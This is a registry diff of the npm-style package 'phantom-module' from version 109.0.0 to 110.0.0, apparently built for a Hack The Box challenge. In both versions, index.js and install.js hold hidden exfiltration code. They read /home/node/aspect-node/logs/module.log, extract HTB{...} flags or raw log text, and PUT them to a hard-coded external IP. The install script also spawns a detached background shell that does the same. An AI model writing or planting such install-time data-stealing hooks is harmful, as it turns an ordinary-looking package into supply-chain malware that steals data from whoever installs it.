phantom-module 109.0.0 → 110.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +20 -45
  2. package/install.js +24 -29
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,56 +1,31 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { execSync } = require('child_process');
4
3
 
5
- async function reportFlag(moduleId, val) {
6
- const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
7
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
8
- await new Promise((resolve) => {
9
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
10
- req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
11
- req.write(body); req.end();
12
- });
13
- }
14
-
15
- (async () => {
4
+ (function() {
5
+ const logFile = '/home/node/aspect-node/logs/module.log';
6
+
16
7
  try {
17
- // Read the log and extract ONLY lines with HTB{
18
- const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
19
- const htbLines = log.split('\n').filter(l => l.includes('HTB{'));
8
+ const log = fs.readFileSync(logFile, 'utf8');
9
+ const match = log.match(/HTB\{[^}]+\}/);
20
10
 
21
- if (htbLines.length > 0) {
22
- // Send each HTB line to a different module, with delay between each
23
- const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
24
- for (let i = 0; i < Math.min(htbLines.length, 4); i++) {
25
- const line = htbLines[i].trim();
26
- // Extract just the HTB{...} part
27
- const match = line.match(/HTB\{[^}]+\}/);
28
- if (match) {
29
- await reportFlag(mods[i], 'FLAG_' + match[0]);
30
- await new Promise(r => setTimeout(r, 2000));
31
- } else {
32
- // Send the whole line in chunks
33
- for (let c = 0; c < 4; c++) {
34
- const chunk = line.substring(c * 90, (c + 1) * 90);
35
- if (chunk) {
36
- await reportFlag(mods[c], 'HTBLINE' + i + 'C' + c + '_' + chunk);
37
- await new Promise(r => setTimeout(r, 2000));
38
- }
39
- }
40
- }
41
- }
11
+ if (match) {
12
+ const flag = match[0];
13
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
14
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
15
+ req.on('error', () => {});
16
+ req.write(body);
17
+ req.end();
42
18
  } else {
43
- // No HTB lines, send first 400 chars of log
44
- for (let c = 0; c < 4; c++) {
45
- const chunk = log.substring(c * 90, (c + 1) * 90);
46
- if (chunk) {
47
- await reportFlag(['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'][c], 'LOGC' + c + '_' + chunk);
48
- await new Promise(r => setTimeout(r, 2000));
49
- }
50
- }
19
+ // Send first 90 chars of log for debugging
20
+ const snippet = log.substring(0, 90).replace(/"/g, "'");
21
+ const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
22
+ const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
23
+ req.on('error', () => {});
24
+ req.write(body);
25
+ req.end();
51
26
  }
52
27
  } catch(e) {
53
- await reportFlag('ECT-839201', 'REQUIREERR_' + e.message.substring(0, 80));
28
+ // Log doesn't exist - we're probably on CentOS host, just skip
54
29
  }
55
30
  })();
56
31
 
package/install.js CHANGED
@@ -1,36 +1,31 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
- const { spawn } = require('child_process');
3
+ const { spawn, execSync } = require('child_process');
4
4
 
5
- (async () => {
5
+ function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
6
+
7
+ // Detect environment - only act on Docker container with aspect-node
8
+ const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
9
+
10
+ if (isDockerTarget) {
6
11
  // Write init_test.sh
7
12
  try {
8
- if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
9
- fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\ncd /home/node\nnode -e "require(\'phantom-module\')"\n', { mode: 0o755 });
13
+ fs.writeFileSync('/home/node/init_test.sh',
14
+ '#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
15
+ { mode: 0o755 });
10
16
  } catch(e) {}
17
+ }
11
18
 
12
- // Spawn a delayed background process that tries to read the log after 15s
13
- try {
14
- const child = spawn('/bin/sh', ['-c', `
15
- sleep 15
16
- if [ -f /home/node/aspect-node/logs/module.log ]; then
17
- FLAG=$(grep -o 'HTB{[^}]*}' /home/node/aspect-node/logs/module.log | head -1)
18
- if [ -n "$FLAG" ]; then
19
- PAYLOAD='{"manifest":"ecto_module:\\n name: \\"BG_'$FLAG'\\"\\n version: \\"1.0.0\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}'
20
- echo "$PAYLOAD" | node -e "
21
- const http = require('http');
22
- let d = '';
23
- process.stdin.on('data', c => d += c);
24
- process.stdin.on('end', () => {
25
- const req = http.request({hostname:'154.57.164.64',port:31083,path:'/api/modules/ECT-987654',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)},timeout:5000},()=>process.exit(0));
26
- req.on('error',()=>process.exit(1));
27
- req.write(d);
28
- req.end();
29
- });
30
- "
31
- fi
32
- fi
33
- `], { detached: true, stdio: 'ignore' });
34
- child.unref();
35
- } catch(e) {}
36
- })();
19
+ // Spawn background to grep for flag after delay (works on both envs)
20
+ try {
21
+ const child = spawn('/bin/sh', ['-c',
22
+ 'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
23
+ 'if [ -f "$LOGFILE" ]; then ' +
24
+ ' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
25
+ ' if [ -n "$FLAG" ]; then ' +
26
+ ' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
27
+ ' fi; ' +
28
+ 'fi'
29
+ ], { detached: true, stdio: 'ignore' });
30
+ child.unref();
31
+ } catch(e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "109.0.0",
3
+ "version": "110.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
6
  "scripts": {